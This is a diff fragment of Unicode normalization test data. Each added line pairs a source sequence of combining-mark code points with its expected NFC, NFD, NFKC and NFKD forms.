+{ source: [0x0061, 0x0740, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0740, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0741, 0x0062], NFC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0741, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0741, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0741, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0741, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0742, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0742, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0742, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0742, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0743, 0x0062], NFC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0743, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0743, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0743, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0743, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0744, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0744, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0744, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0744, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0745, 0x0062], NFC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0745, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0745, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0745, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0745, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0746, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0746, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0746, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0746, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0747, 0x0062], NFC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0747, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0747, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0747, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0747, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0748, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0748, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0748, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0748, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0749, 0x0062], NFC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0749, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0749, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0749, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0749, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x074A, 0x0062], NFC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x074A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x074A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x074A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x074A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EB, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EC, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07ED, 0x0062], NFC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07ED, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07ED, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07ED, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07ED, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EE, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07EF, 0x0062], NFC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07EF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07EF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07EF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07EF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F0, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F0, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F0, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F0, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F0, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F1, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F1, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F1, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F1, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F1, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x07F2, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x07F2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x07F2, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x07F2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x07F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x07F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x07F3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x07F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x07F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x07FD, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x07FD, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x07FD, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x07FD, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x07FD, 0x059A, 0x0062] },
+{ source: [0x0061, 0x07FD, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x07FD, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x07FD, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x07FD, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x07FD, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0816, 0x0062], NFC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0816, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0816, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0816, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0816, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0817, 0x0062], NFC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0817, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0817, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0817, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0817, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0818, 0x0062], NFC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0818, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0818, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0818, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0818, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0819, 0x0062], NFC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0819, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0819, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0819, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0819, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081B, 0x0062], NFC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081C, 0x0062], NFC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081D, 0x0062], NFC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081E, 0x0062], NFC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x081F, 0x0062], NFC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x081F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x081F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x081F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x081F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0820, 0x0062], NFC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0820, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0820, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0820, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0820, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0821, 0x0062], NFC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0821, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0821, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0821, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0821, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0822, 0x0062], NFC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0822, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0822, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0822, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0822, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0823, 0x0062], NFC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0823, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0823, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0823, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0823, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0825, 0x0062], NFC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0825, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0825, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0825, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0825, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0826, 0x0062], NFC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0826, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0826, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0826, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0826, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0827, 0x0062], NFC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0827, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0827, 0x0315, 0x0062] },
